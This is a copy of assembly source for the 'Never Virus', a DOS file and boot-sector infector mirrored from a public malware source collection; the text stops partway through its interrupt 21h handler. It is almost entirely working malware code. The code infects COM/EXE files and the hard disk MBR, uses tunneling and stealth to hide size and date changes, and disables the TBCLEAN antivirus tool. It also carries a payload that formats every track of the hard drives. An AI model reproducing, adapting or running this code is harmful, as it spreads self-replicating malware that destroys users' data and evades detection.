mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1647 lines
66 KiB
NASM
1647 lines
66 KiB
NASM
|
;Never Virus
|
||
|
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
|
||
|
;Tunnels
|
||
|
;Does other stuff
|
||
|
;link with eng.asm
|
||
|
|
||
|
.model tiny
|
||
|
.code
|
||
|
|
||
|
file_size equ file_end - v_start
|
||
|
sect_size equ (decrypt - v_start + 511) / 512
|
||
|
para_size equ (v_end - v_start + 15) / 16
|
||
|
kilo_size equ (v_end - v_start + 1023) / 1024
|
||
|
|
||
|
find_dos_13 equ tracer_dos_13 - (trace_mode + 1)
|
||
|
find_13 equ tracer_13 - (trace_mode + 1)
|
||
|
find_15 equ tracer_15 - (trace_mode + 1)
|
||
|
find_21 equ tracer_21 - (trace_mode + 1)
|
||
|
find_40 equ tracer_40 - (trace_mode + 1)
|
||
|
step_21 equ tracer_step_21 - (trace_mode + 1)
|
||
|
|
||
|
loader_size equ (OFFSET loader_end) - loader
|
||
|
|
||
|
no_hook_21 equ new_13_next - (hook_21 + 1)
|
||
|
yes_hook_21 equ check_21 - (hook_21 + 1)
|
||
|
|
||
|
boot equ 0
|
||
|
file equ 1
|
||
|
|
||
|
years equ 100 shl 1
|
||
|
|
||
|
|
||
|
v_start: jmp decrypt
|
||
|
|
||
|
; push cs
|
||
|
; pop ds
|
||
|
; call copy_ints
|
||
|
dw copy_ints - ($ + 2) ; save ints 13 15 21 40
|
||
|
mov ds:hook_21,al ; (0=yes_hook_21) hook 21h
|
||
|
mov ds:origin,al ; (0=boot) remeber host
|
||
|
mov es,ax ; ES=0
|
||
|
pop di
|
||
|
sub di,3 ; address of loader in boot
|
||
|
push ax di ; save return address 0:xxxx
|
||
|
mov si,offset boot_code
|
||
|
call move_boot_code1 ; copy and decode boot code
|
||
|
mov al,13h
|
||
|
mov dx,offset new_13
|
||
|
call set_int ; hook int 13h
|
||
|
call inf_hard ; infect drive C:
|
||
|
test byte ptr ds:load_head,dl ; DL=80h drive C:?
|
||
|
je boot_retf
|
||
|
mov ax,1ffh
|
||
|
call random ; time to activate?
|
||
|
jne boot_retf
|
||
|
jmp kill_disk
|
||
|
|
||
|
boot_retf: retf ; return to boot sector
|
||
|
|
||
|
;=====( Copy boot code and (en/de)crypt it )=================================;
|
||
|
|
||
|
move_boot_code1:mov ah,ds:[si - 1] ; get key
|
||
|
move_boot_code: mov cx,loader_size
|
||
|
cld
|
||
|
move_boot_loop: lodsb
|
||
|
xor al,ah ; code/decode
|
||
|
rol ah,1
|
||
|
stosb
|
||
|
loop move_boot_loop
|
||
|
retn
|
||
|
|
||
|
;=====( Code that was in boot sector before infection )======================;
|
||
|
|
||
|
boot_code_key db ?
|
||
|
boot_code db loader_size dup(?)
|
||
|
|
||
|
;=====( Gets inserted into infected Boot sectors/MBRs )======================;
|
||
|
|
||
|
loader: call $ + 3
|
||
|
mov di,40h
|
||
|
mov ds,di
|
||
|
sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
|
||
|
mov ax,ds:[di-(40h-13h)]
|
||
|
mov cl,0ah
|
||
|
ror ax,cl ; get TOM address
|
||
|
mov es,ax
|
||
|
mov ax,200h + sect_size
|
||
|
xor bx,bx
|
||
|
mov cx,0
|
||
|
load_sect = $ - 2
|
||
|
mov dx,0
|
||
|
load_head = $ - 2
|
||
|
int 13h ; read code into memory
|
||
|
jb load_fail
|
||
|
push es bx ; address of high code
|
||
|
retf
|
||
|
load_fail: int 18h
|
||
|
loader_end:
|
||
|
|
||
|
;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
|
||
|
|
||
|
copy_ints: push ds
|
||
|
xor ax,ax
|
||
|
mov ds,ax ; segment 0
|
||
|
mov si,13h * 4h
|
||
|
mov di,offset int_13
|
||
|
push si si
|
||
|
movsw
|
||
|
movsw ; int 13h to int_13
|
||
|
pop si
|
||
|
movsw
|
||
|
movsw ; int 13h to dos_13
|
||
|
mov si,15h * 4h
|
||
|
movsw
|
||
|
movsw ; int 15h to int_15
|
||
|
pop si ; address of int 13h's IVT
|
||
|
cmp byte ptr ds:[475h],al ; any hard disks?
|
||
|
je copy_int_40
|
||
|
mov si,40h * 4h
|
||
|
copy_int_40: movsw
|
||
|
movsw ; copy int 13h/40h to int_40
|
||
|
mov si,21h * 4h
|
||
|
movsw
|
||
|
movsw ; int 21h to int_21
|
||
|
pop ds
|
||
|
retn
|
||
|
|
||
|
;=====( get interrupt address )==============================================;
|
||
|
|
||
|
get_int: push ax
|
||
|
xor ah,ah
|
||
|
rol ax,1
|
||
|
rol ax,1
|
||
|
xchg bx,ax
|
||
|
xor ax,ax
|
||
|
mov es,ax
|
||
|
les bx,es:[bx] ; get int address
|
||
|
pop ax
|
||
|
retn
|
||
|
|
||
|
;=====( Set interrupt address )==============================================;
|
||
|
|
||
|
set_int: push ax bx ds
|
||
|
xor ah,ah
|
||
|
rol ax,1
|
||
|
rol ax,1
|
||
|
xchg ax,bx
|
||
|
xor ax,ax
|
||
|
push ds
|
||
|
mov ds,ax
|
||
|
mov ds:[bx],dx
|
||
|
pop ds:[bx + 2]
|
||
|
pop ds bx ax
|
||
|
retn
|
||
|
|
||
|
|
||
|
push_all: pop cs:push_pop_ret
|
||
|
pushf
|
||
|
push ax bx cx dx bp si di ds es
|
||
|
mov bp,sp
|
||
|
push_pop_jmp: jmp cs:push_pop_ret
|
||
|
|
||
|
pop_all: pop cs:push_pop_ret
|
||
|
pop es ds di si bp dx cx bx ax
|
||
|
popf
|
||
|
jmp push_pop_jmp
|
||
|
|
||
|
;=====( Infect Drive C: )====================================================;
|
||
|
|
||
|
inf_hard: push cs cs
|
||
|
pop es ds
|
||
|
mov ax,201h
|
||
|
mov bx,offset disk_buff
|
||
|
mov cx,1
|
||
|
mov dx,80h
|
||
|
call call_13 ; read MBR of drive C:
|
||
|
jb cant_inf_hard
|
||
|
cmp ds:[bx.pt_start_head],ch ; Jackal?
|
||
|
je cant_inf_hard
|
||
|
mov cx,ds:[bx.pt_end_sector_track]
|
||
|
and cx,0000000000111111b ; get sector count
|
||
|
sub cx,sect_size
|
||
|
jbe cant_inf_hard
|
||
|
cmp cl,1 ; too few sectors?
|
||
|
jbe cant_inf_hard
|
||
|
call copy_loader ; copy loader into MBR
|
||
|
jb cant_inf_hard
|
||
|
push bx
|
||
|
mov ax,300h + sect_size
|
||
|
xor bx,bx
|
||
|
call call_13 ; write code to hidden sectors
|
||
|
pop bx
|
||
|
jb cant_inf_hard
|
||
|
mov ax,301h
|
||
|
mov cl,1
|
||
|
call call_13 ; write infected MBR
|
||
|
cant_inf_hard: retn
|
||
|
|
||
|
;=====( Copy Loader into disk_buff (BX) )====================================;
|
||
|
|
||
|
copy_loader: push cx dx
|
||
|
cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code?
|
||
|
jne copy_load_no
|
||
|
mov di,offset boot_code
|
||
|
mov ds:[di+load_sect-boot_code],cx ; save track/sector
|
||
|
and dl,80h ; Drive C: or A:
|
||
|
mov ds:[di+load_head-boot_code],dx ; save head/disk
|
||
|
call find_boot ; find code/already infected?
|
||
|
je copy_load_no
|
||
|
call random_1 ; get random key
|
||
|
mov ds:[di - 1],ah ; save key at boot_code_key
|
||
|
push si
|
||
|
call move_boot_code ; save boot code and encrypt
|
||
|
mov si,di ; offset of loader
|
||
|
pop di ; boot code pointer
|
||
|
mov cx,loader_size
|
||
|
rep movsb ; copy loader into boot sect
|
||
|
clc
|
||
|
mov al,0
|
||
|
org $ - 1
|
||
|
copy_load_no: stc
|
||
|
pop dx cx
|
||
|
retn
|
||
|
|
||
|
;=====( Find start of boot sector's code )===================================;
|
||
|
|
||
|
find_boot: mov si,bx
|
||
|
cld
|
||
|
lodsb ; get 1st instruction
|
||
|
push ax
|
||
|
lodsw ; Jump displacement (if jump)
|
||
|
xchg cx,ax
|
||
|
pop ax
|
||
|
cmp al,0ebh ; Short jump?
|
||
|
jne find_boot_jump
|
||
|
xor ch,ch ; 8bit jump
|
||
|
dec si
|
||
|
jmp find_boot_add
|
||
|
find_boot_jump: cmp al,0e9h ; Near Jump?
|
||
|
je find_boot_add
|
||
|
find_boot_noadd:sub cx,cx ; No displacement
|
||
|
mov si,bx
|
||
|
find_boot_add: add si,cx ; si=start of boot code
|
||
|
cmp si,offset (disk_buff+200h) - (loader_size + 5)
|
||
|
; jump out of range?
|
||
|
jnb find_boot_noadd
|
||
|
cmp word ptr ds:[si],00e8h ; CALL -> already infected
|
||
|
jne find_boot_ret
|
||
|
cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
|
||
|
find_boot_ret: retn
|
||
|
|
||
|
;=====( Disable TBCLEAN )====================================================;
|
||
|
|
||
|
anti_tbclean: xor ax,ax
|
||
|
pushf
|
||
|
pop dx
|
||
|
and dh,not 1 ; TF off
|
||
|
push dx dx
|
||
|
popf
|
||
|
push ss
|
||
|
pop ss
|
||
|
pushf ; Not trapped
|
||
|
pop dx
|
||
|
test dh,1 ; TF set?
|
||
|
pop dx
|
||
|
je anti_tb_ret
|
||
|
push es
|
||
|
xor bp,bp
|
||
|
mov cx,ss
|
||
|
cli
|
||
|
mov ss,bp ; segment 0
|
||
|
les di,ss:[bp+1h*4h] ; address of int 1h
|
||
|
mov ss,cx
|
||
|
sti
|
||
|
mov al,0cfh
|
||
|
cld
|
||
|
stosb ; IRET -> Int 1h
|
||
|
pop es
|
||
|
push dx
|
||
|
popf
|
||
|
anti_tb_ret: xchg bp,ax ; save result
|
||
|
retn
|
||
|
|
||
|
;=====( Swap jump into DOS' int 13h )========================================;
|
||
|
|
||
|
swap_13: call push_all
|
||
|
mov si,offset jump_code_13
|
||
|
les di,cs:[si+dos_13-jump_code_13] ; get address in DOS
|
||
|
jmp swap_code
|
||
|
|
||
|
;=====( Swap jump into DOS' int 21h )========================================;
|
||
|
|
||
|
swap_21: call push_all
|
||
|
mov si,offset jump_code_21
|
||
|
les di,cs:[si+int_21-jump_code_21]
|
||
|
swap_code: push cs
|
||
|
pop ds
|
||
|
mov cx,5
|
||
|
cmp ds:origin,ch ; 0 -> Boot origin, no tunnel
|
||
|
je swap_end
|
||
|
cld
|
||
|
swap_loop: lodsb
|
||
|
xchg al,es:[di]
|
||
|
mov ds:[si-1],al
|
||
|
inc di
|
||
|
loop swap_loop
|
||
|
swap_end: call pop_all
|
||
|
retn
|
||
|
|
||
|
;=====( Find original interrupt entry points )===============================;
|
||
|
|
||
|
find_ints: call copy_ints ; get interrupt addresses
|
||
|
mov ah,52h
|
||
|
int 21h
|
||
|
mov ax,es:[bx-2]
|
||
|
mov ds:dos_seg,ax ; 1st MCB segment
|
||
|
mov al,1h
|
||
|
call get_int ; get address of int 1h
|
||
|
push bx es
|
||
|
mov dx,offset tracer
|
||
|
call set_int ; hook int 1h
|
||
|
pushf
|
||
|
pop si
|
||
|
mov di,offset trace_mode
|
||
|
mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS
|
||
|
; and BIOS
|
||
|
mov ah,1h
|
||
|
call si_tf ; set TF
|
||
|
call call_13
|
||
|
mov byte ptr ds:[di],find_15 ; find int 15h in BIOS
|
||
|
mov ah,0c0h
|
||
|
call si_tf ; set TF
|
||
|
pushf
|
||
|
call ds:int_15
|
||
|
mov byte ptr ds:[di],find_21 ; find int 21h in DOS
|
||
|
mov ah,30h
|
||
|
call si_tf ; set TF
|
||
|
call call_21
|
||
|
mov byte ptr ds:[di],find_40 ; find int 40h in BIOS
|
||
|
mov ah,1
|
||
|
call si_tf ; set TF
|
||
|
call call_40
|
||
|
and si,not 100h
|
||
|
push si
|
||
|
popf ; disable Trapping
|
||
|
pop ds dx
|
||
|
mov al,1
|
||
|
call set_int ; unhook int 1h
|
||
|
retn
|
||
|
|
||
|
;=====( Set TF in SI, then set flags to SI )=================================;
|
||
|
|
||
|
si_tf: or si,100h
|
||
|
push si
|
||
|
popf
|
||
|
retn
|
||
|
|
||
|
;=====( Tracing/Tunneling )==================================================;
|
||
|
|
||
|
tracer: push ds
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov ds:old_di,di
|
||
|
mov di,offset old_ax
|
||
|
mov ds:[di],ax
|
||
|
mov ds:[di+old_bx-old_ax],bx
|
||
|
mov ds:[di+old_cx-old_ax],cx
|
||
|
mov ds:[di+old_dx-old_ax],dx
|
||
|
pop ds:[di-(old_ax-old_ds)]
|
||
|
pop bx cx dx ; get IP, CS and Flags
|
||
|
mov ax,cs
|
||
|
cmp ax,cx ; In our CS?
|
||
|
jne $
|
||
|
trace_mode = byte ptr $ - 1
|
||
|
jmp tracer_iret
|
||
|
|
||
|
tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code?
|
||
|
jnb tracer_cont
|
||
|
mov di,offset dos_13
|
||
|
mov ds:trace_mode,find_13 ; find it in BIOS next
|
||
|
jmp tracer_save_f
|
||
|
|
||
|
tracer_21: cmp cx,1234h ; In DOS code?
|
||
|
dos_seg = word ptr $ - 2
|
||
|
jnb tracer_cont
|
||
|
mov di,offset int_21
|
||
|
tracer_save: and dh,not 1 ; TF off
|
||
|
tracer_save_f: mov ds:[di],bx
|
||
|
mov ds:[di + 2],cx ; save address of int
|
||
|
jmp tracer_cont
|
||
|
|
||
|
tracer_15: mov di,offset int_15
|
||
|
jmp tracer_bios
|
||
|
|
||
|
tracer_40: mov di,offset int_40
|
||
|
jmp tracer_bios
|
||
|
|
||
|
tracer_13: mov di,offset int_13
|
||
|
tracer_bios: cmp ch,0c8h ; Below BIOS?
|
||
|
jb tracer_cont
|
||
|
cmp ch,0f4h ; Above BIOS?
|
||
|
jb tracer_save
|
||
|
jmp tracer_cont
|
||
|
|
||
|
tracer_step_21: dec ds:inst_count ; down counter
|
||
|
jne tracer_cont
|
||
|
push dx
|
||
|
mov al,1
|
||
|
lds dx,ds:int_1 ; get int 1h address
|
||
|
call set_int
|
||
|
call swap_21 ; insert int 21h jump
|
||
|
pop dx
|
||
|
and dh,not 1h ; TF off
|
||
|
|
||
|
tracer_cont: test dh,1 ; TF on?
|
||
|
je tracer_iret
|
||
|
get_inst: mov ds,cx ; instruction CS
|
||
|
xor di,di
|
||
|
get_inst1: mov ax,ds:[bx + di] ; get instruction
|
||
|
cmp al,0f0h ; LOCK
|
||
|
je skip_prefix
|
||
|
cmp al,0f2h ; REPNE
|
||
|
je skip_prefix
|
||
|
cmp al,0f3h ; REPE?
|
||
|
je skip_prefix
|
||
|
cmp al,9ch ; PUSHF or above?
|
||
|
jae emulate_pushf
|
||
|
and al,11100111b ; 26,2e,36,3e = 26
|
||
|
cmp al,26h ; Segment Prefix?
|
||
|
jne tracer_iret
|
||
|
skip_prefix: inc di
|
||
|
jmp get_inst1
|
||
|
|
||
|
emulate_pushf: jne emulate_popf
|
||
|
and dh,not 1 ; TF off
|
||
|
push dx ; fake PUSHF
|
||
|
emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction
|
||
|
emulate_tf: or dh,1 ; TF on
|
||
|
jmp get_inst
|
||
|
|
||
|
emulate_popf: cmp al,9dh ; POPF?
|
||
|
jne emulate_iret
|
||
|
pop dx ; fake POPF
|
||
|
jmp emulate_next
|
||
|
|
||
|
emulate_iret: cmp al,0cfh ; IRET?
|
||
|
jne emulate_int
|
||
|
pop bx cx dx ; fake IRET
|
||
|
jmp emulate_tf
|
||
|
|
||
|
emulate_int: cmp al,0cdh ; Int xx
|
||
|
je emulate_int_xx
|
||
|
cmp al,0cch ; Int 3?
|
||
|
mov ah,3
|
||
|
je emulate_int_x
|
||
|
cmp al,0ceh ; Into?
|
||
|
mov ah,4
|
||
|
jne tracer_iret
|
||
|
test dh,8 ; OF set?
|
||
|
je tracer_iret
|
||
|
emulate_int_x: dec bx ; [bx+di+2-1]
|
||
|
emulate_int_xx: and dh,not 1 ; TF off
|
||
|
lea bx,ds:[bx + di + 2] ; get return address
|
||
|
push dx cx bx ; fake Int
|
||
|
mov al,ah
|
||
|
push es
|
||
|
call get_int ; get interrupt address
|
||
|
mov cx,es
|
||
|
pop es
|
||
|
jmp emulate_tf
|
||
|
|
||
|
tracer_iret: push dx cx bx ; save flags, cs & ip
|
||
|
mov ax,0
|
||
|
old_ds = word ptr $ - 2
|
||
|
mov ds,ax
|
||
|
mov ax,0
|
||
|
old_ax = word ptr $ - 2
|
||
|
mov bx,0
|
||
|
old_bx = word ptr $ - 2
|
||
|
mov cx,0
|
||
|
old_cx = word ptr $ - 2
|
||
|
mov dx,0
|
||
|
old_dx = word ptr $ - 2
|
||
|
mov di,0
|
||
|
old_di = word ptr $ - 2
|
||
|
iret
|
||
|
|
||
|
;=====( file infections come here after decryption )=========================;
|
||
|
|
||
|
file_start: push ds ; save PSP segment
|
||
|
call $ + 3
|
||
|
pop si
|
||
|
sub si,offset $ - 1
|
||
|
call anti_tbclean ; disable TBCLEAN
|
||
|
or bp,bp ; TBCLEAN active?
|
||
|
jne go_res
|
||
|
mov ah,30h
|
||
|
mov bx,-666h
|
||
|
int 21h
|
||
|
cmp al,3h ; must be DOS 3+
|
||
|
jb jump_host
|
||
|
go_res: mov ax,es
|
||
|
dec ax
|
||
|
mov ds,ax
|
||
|
sub di,di
|
||
|
or bp,bp ; TBCLEAN here?
|
||
|
jne dont_check_mcb
|
||
|
cmp byte ptr ds:[di],'Z' ; Last Block?
|
||
|
jne jump_host
|
||
|
dont_check_mcb: mov ax,para_size
|
||
|
sub ds:[di + 3],ax ; from MCB
|
||
|
sub ds:[di + 12h],ax ; from PSP
|
||
|
mov es,ds:[di + 12h] ; get memory address
|
||
|
mov ds,di
|
||
|
sub word ptr ds:[413h],kilo_size ; from int 12h
|
||
|
mov cx,jump_code_13-v_start
|
||
|
cld
|
||
|
rep movs byte ptr es:[di],byte ptr cs:[si]
|
||
|
mov ax,offset high_code
|
||
|
push es ax
|
||
|
retf
|
||
|
|
||
|
jump_host: push cs
|
||
|
pop ds
|
||
|
pop es ; PSP segment
|
||
|
lea si,ds:[si + header] ; get address of header
|
||
|
mov ax,ds:[si] ; get 1st instruction
|
||
|
cmp ax,'ZM' ; EXE?
|
||
|
je jump_2_exe
|
||
|
cmp ax,'MZ' ; EXE?
|
||
|
je jump_2_exe
|
||
|
mov cx,18h / 2
|
||
|
mov di,100h
|
||
|
push es di
|
||
|
cld
|
||
|
rep movsw ; repair .COM file
|
||
|
push es
|
||
|
pop ds
|
||
|
xchg ax,cx
|
||
|
retf
|
||
|
|
||
|
jump_2_exe: mov ax,es
|
||
|
add ax,10h
|
||
|
add ds:[si.eh_cs],ax
|
||
|
add ax,ds:[si.eh_ss] ; get SS/CS
|
||
|
push es
|
||
|
pop ds
|
||
|
cli
|
||
|
mov ss,ax
|
||
|
mov sp,cs:[si.eh_sp]
|
||
|
xor ax,ax
|
||
|
sti
|
||
|
jmp dword ptr cs:[si.eh_ip]
|
||
|
|
||
|
|
||
|
high_code: push cs
|
||
|
pop ds
|
||
|
mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel
|
||
|
mov ax,2
|
||
|
call random ; 1 in 3 chance of no stealth
|
||
|
; on special programs
|
||
|
mov ds:check_special,al
|
||
|
mov ds:hook_21,no_hook_21 ; dont hook int 21h
|
||
|
mov al,0eah
|
||
|
stosb ; store at jump_code_13
|
||
|
mov ds:[di+4],al
|
||
|
mov ax,offset new_13
|
||
|
stosw
|
||
|
mov word ptr ds:[di+3],offset new_21
|
||
|
mov ds:[di],cs
|
||
|
mov ds:[di+5],cs
|
||
|
push di
|
||
|
call find_ints ; trace interrupts
|
||
|
pop di
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov ax,ds:dos_seg
|
||
|
cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax
|
||
|
; found DOS' int 13h?
|
||
|
ja call_inf_hard
|
||
|
cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax
|
||
|
; found DOS' int 21h?
|
||
|
ja call_inf_hard
|
||
|
call swap_13
|
||
|
call swap_21 ; insert jumps into DOS
|
||
|
call_inf_hard: call inf_hard ; infect drive C:
|
||
|
or bp,bp ; ZF -> No TBCLEAN
|
||
|
mov si,bp ; SI=0 if goto jump_host
|
||
|
jne kill_disk
|
||
|
jmp jump_host
|
||
|
|
||
|
kill_disk: xor bx,bx
|
||
|
mov es,bx ; table to use for format
|
||
|
mov dl,80h ; Drive C:
|
||
|
kill_next_disk: xor dh,dh ; head 0
|
||
|
kill_next_track:xor cx,cx ; track 0
|
||
|
kill_format: mov ax,501h
|
||
|
call call_disk ; format track
|
||
|
and cl,11000000b
|
||
|
inc ch ; next track low
|
||
|
jne kill_format
|
||
|
add cl,40h ; next track high
|
||
|
jne kill_format
|
||
|
xor ah,ah
|
||
|
int 13h ; reset disk
|
||
|
inc dh ; next head
|
||
|
cmp dh,10h
|
||
|
jb kill_next_track
|
||
|
inc dx ; next drive
|
||
|
jmp kill_next_disk
|
||
|
|
||
|
;=====( Interrupt 13h handler )==============================================;
|
||
|
|
||
|
new_13: jmp $
|
||
|
hook_21 = byte ptr $ - 1
|
||
|
|
||
|
check_21: call push_all
|
||
|
mov al,21h
|
||
|
call get_int ; get int 21h address
|
||
|
mov ax,es
|
||
|
push cs cs
|
||
|
pop ds es
|
||
|
cmp ax,800h ; too high?
|
||
|
ja cant_hook_21
|
||
|
mov di,offset int_21 + 2
|
||
|
std
|
||
|
xchg ax,ds:[di] ; swap addresses
|
||
|
scasw ; did it change?
|
||
|
je cant_hook_21
|
||
|
mov ds:[di],bx
|
||
|
mov al,21h
|
||
|
mov dx,offset new_21
|
||
|
call set_int ; hook int 21h
|
||
|
mov ds:hook_21,no_hook_21
|
||
|
cant_hook_21: call pop_all
|
||
|
|
||
|
new_13_next: cmp ah,2h ; Read?
|
||
|
jne jump_13
|
||
|
cmp cx,1 ; track 0, sector 1?
|
||
|
jne jump_13
|
||
|
or dh,dh ; head 0?
|
||
|
je hide_boot
|
||
|
jump_13: call call_dos_13
|
||
|
retf 2h
|
||
|
|
||
|
|
||
|
hide_boot: call call_dos_13 ; read boot sector
|
||
|
call push_all
|
||
|
jb hide_boot_err
|
||
|
push es cs
|
||
|
pop es ds
|
||
|
mov cx,100h
|
||
|
mov si,bx
|
||
|
mov di,offset disk_buff
|
||
|
mov bx,di
|
||
|
cld
|
||
|
rep movsw ; copy boot sector to buffer
|
||
|
push cs
|
||
|
pop ds
|
||
|
call find_boot ; find start/already infected?
|
||
|
jne inf_boot
|
||
|
mov ax,201h
|
||
|
mov cx,ds:[si+load_sect-loader]
|
||
|
mov dh,byte ptr ds:[si+(load_head+1)-loader]
|
||
|
; get code location
|
||
|
call call_disk ; read virus code
|
||
|
jb hide_boot_err
|
||
|
mov ax,ds:[0]
|
||
|
cmp ds:[bx],ax ; verify infection
|
||
|
jne hide_boot_err
|
||
|
mov di,ss:[bp.reg_bx]
|
||
|
mov es,ss:[bp.reg_es] ; get caller's buffer
|
||
|
sub si,bx ; displacement into boot sect.
|
||
|
add di,si ; address of loader
|
||
|
lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus
|
||
|
call move_boot_code1 ; hide infection
|
||
|
hide_boot_err: call pop_all
|
||
|
retf 2h
|
||
|
|
||
|
inf_boot: cmp dl,80h ; hard disk?
|
||
|
jnb hide_boot_err
|
||
|
mov ax,301h
|
||
|
mov cx,1
|
||
|
call call_disk ; Write boot sector to disk
|
||
|
; CY -> Write-Protected
|
||
|
jb hide_boot_err
|
||
|
mov si,dx ; save drive #
|
||
|
mov di,bx
|
||
|
mov ax,ds:[di.bs_sectors] ; get number of sectors
|
||
|
mov cx,ds:[di.bs_sectors_per_track]
|
||
|
sub ds:[di.bs_sectors],cx ; prevent overwriting of code
|
||
|
mov ds:hide_count,cx
|
||
|
xor dx,dx
|
||
|
or ax,ax ; error?
|
||
|
je hide_boot_err
|
||
|
jcxz hide_boot_err
|
||
|
div cx
|
||
|
or dx,dx ; even division?
|
||
|
jne hide_boot_err
|
||
|
mov bx,ds:[di.bs_heads] ; get number of heads
|
||
|
or bx,bx
|
||
|
je hide_boot_err
|
||
|
div bx
|
||
|
or dx,dx
|
||
|
jne hide_boot_err
|
||
|
dec ax
|
||
|
mov ch,al ; last track
|
||
|
mov cl,1 ; sector 1
|
||
|
dec bx
|
||
|
mov dx,si ; drive
|
||
|
mov dh,bl ; last head
|
||
|
mov bx,di ; offset disk buffer
|
||
|
call copy_loader ; Copy loader into Boot sector
|
||
|
jb hide_boot_err
|
||
|
mov ax,300h + sect_size
|
||
|
xor bx,bx
|
||
|
call call_disk
|
||
|
jb hide_boot_err
|
||
|
mov ax,301h
|
||
|
mov bx,offset disk_buff
|
||
|
mov cx,1
|
||
|
xor dh,dh
|
||
|
call call_disk ; write boot sector to disk
|
||
|
mov bx,ss:[bp.reg_bx]
|
||
|
mov ds,ss:[bp.reg_es] ; get caller's buffer
|
||
|
sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
|
||
|
hide_count = word ptr $ - 2
|
||
|
jmp hide_boot_err
|
||
|
|
||
|
;=====( Interrupt 21h handler )==============================================;
|
||
|
|
||
|
new_21: cli
|
||
|
mov cs:int_21_ss,ss
|
||
|
mov cs:int_21_sp,sp ; save stack pointers
|
||
|
push cs
|
||
|
pop ss
|
||
|
mov sp,offset temp_stack ; allocate stack
|
||
|
sti
|
||
|
call push_all
|
||
|
in al,21h
|
||
|
or al,2 ; disable keyboard
|
||
|
out 21h,al
|
||
|
push cs
|
||
|
pop ds
|
||
|
mov di,offset new_24
|
||
|
mov word ptr ds:[di-(new_24-handle)],bx ; save handle
|
||
|
mov al,24h
|
||
|
call get_int ; get address of int 24h
|
||
|
mov word ptr ds:[di-(new_24-int_24)],bx
|
||
|
mov word ptr ds:[di-(new_24-(int_24+2))],es
|
||
|
mov word ptr ds:[di],03b0h ; MOV AL,3
|
||
|
mov byte ptr ds:[di+2],0cfh ; IRET
|
||
|
mov dx,di
|
||
|
call set_int ; hook int 24h
|
||
|
call pop_all
|
||
|
call swap_21 ; remove jump from int 21h
|
||
|
call push_all
|
||
|
cmp ah,30h ; get DOS version?
|
||
|
jne is_dir_fcb
|
||
|
add bx,666h ; looking for us?
|
||
|
jnz is_dir_fcb
|
||
|
mov ss:[bp.reg_ax],bx ; set DOS version=0
|
||
|
mov ss:[bp.reg_bx],bx
|
||
|
jmp retf_21
|
||
|
|
||
|
is_dir_fcb: cmp ah,11h
|
||
|
jb is_dir_asciiz
|
||
|
cmp ah,12h
|
||
|
ja is_dir_asciiz
|
||
|
call call_21 ; do find
|
||
|
or al,al ; error?
|
||
|
je dir_fcb
|
||
|
jmp jump_21
|
||
|
|
||
|
dir_fcb: call save_returns ; save AX
|
||
|
call get_psp ; get current PSP
|
||
|
mov ax,'HC'
|
||
|
scasw ; CHKDSK?
|
||
|
jne dir_fcb_ok
|
||
|
mov ax,'DK'
|
||
|
scasw
|
||
|
jne dir_fcb_ok
|
||
|
mov ax,'KS'
|
||
|
scasw
|
||
|
je retf_21
|
||
|
dir_fcb_ok: call get_dta ; get DTA address
|
||
|
xor di,di
|
||
|
cmp byte ptr ds:[bx],-1 ; extended FCB?
|
||
|
jne dir_fcb_next
|
||
|
mov di,7h ; fix it up
|
||
|
dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI
|
||
|
dir_hide: call is_specialfile ; no stealth if helper
|
||
|
je retf_21
|
||
|
cmp byte ptr ds:[si],years ; infected?
|
||
|
jc retf_21
|
||
|
sub byte ptr ds:[si],years ; restore old date
|
||
|
les ax,ds:[bx+di.ds_size] ; get size of file
|
||
|
mov cx,es
|
||
|
sub ax,file_size ; hide size increase
|
||
|
sbb cx,0
|
||
|
jc retf_21
|
||
|
mov word ptr ds:[bx+di.ds_size],ax
|
||
|
mov word ptr ds:[bx+di.ds_size+2],cx ; save new size
|
||
|
retf_21: call undo_24 ; unhook int 24h
|
||
|
call pop_all
|
||
|
call swap_21 ; insert jump
|
||
|
cli
|
||
|
mov ss,cs:int_21_ss
|
||
|
mov sp,cs:int_21_sp
|
||
|
sti
|
||
|
retf 2
|
||
|
|
||
|
|
||
|
is_dir_asciiz: cmp ah,4eh
|
||
|
jb is_lseek
|
||
|
cmp ah,4fh
|
||
|
ja is_lseek
|
||
|
call call_21
|
||
|
jnc dir_asciiz
|
||
|
go_jump_21: jmp jump_21
|
||
|
|
||
|
dir_asciiz: call save_returns ; save AX and flags
|
||
|
call get_dta ; get dta address
|
||
|
mov di,-3
|
||
|
lea si,ds:[bx.dta_date+1] ; get year address
|
||
|
jmp dir_hide
|
||
|
|
||
|
is_lseek: cmp ax,4202h ; Lseek to end?
|
||
|
jne is_date
|
||
|
call call_21_file
|
||
|
jb go_jump_21
|
||
|
call get_dcb ; get DCB address
|
||
|
jbe lseek_exit
|
||
|
call is_specialfile ; dont hide true size from
|
||
|
; helpers
|
||
|
je lseek_exit
|
||
|
sub ax,file_size
|
||
|
sbb dx,0 ; hide virus at end
|
||
|
mov word ptr ds:[di.dcb_pos],ax
|
||
|
mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
|
||
|
lseek_exit: clc
|
||
|
call save_returns ; save AX/flags
|
||
|
mov ss:[bp.reg_dx],dx
|
||
|
jmp retf_21
|
||
|
|
||
|
is_date: cmp ax,5700h ; get date?
|
||
|
je get_date
|
||
|
cmp ax,5701h ; set date?
|
||
|
jne is_read
|
||
|
call get_dcb
|
||
|
jbe date_err
|
||
|
cmp dh,years ; already setting 100 years?
|
||
|
jnb date_err
|
||
|
add dh,years ; dont erase marker
|
||
|
get_date: call is_specialfile ; do not hide date for
|
||
|
; helpers
|
||
|
je date_err
|
||
|
call call_21_file ; get/set date
|
||
|
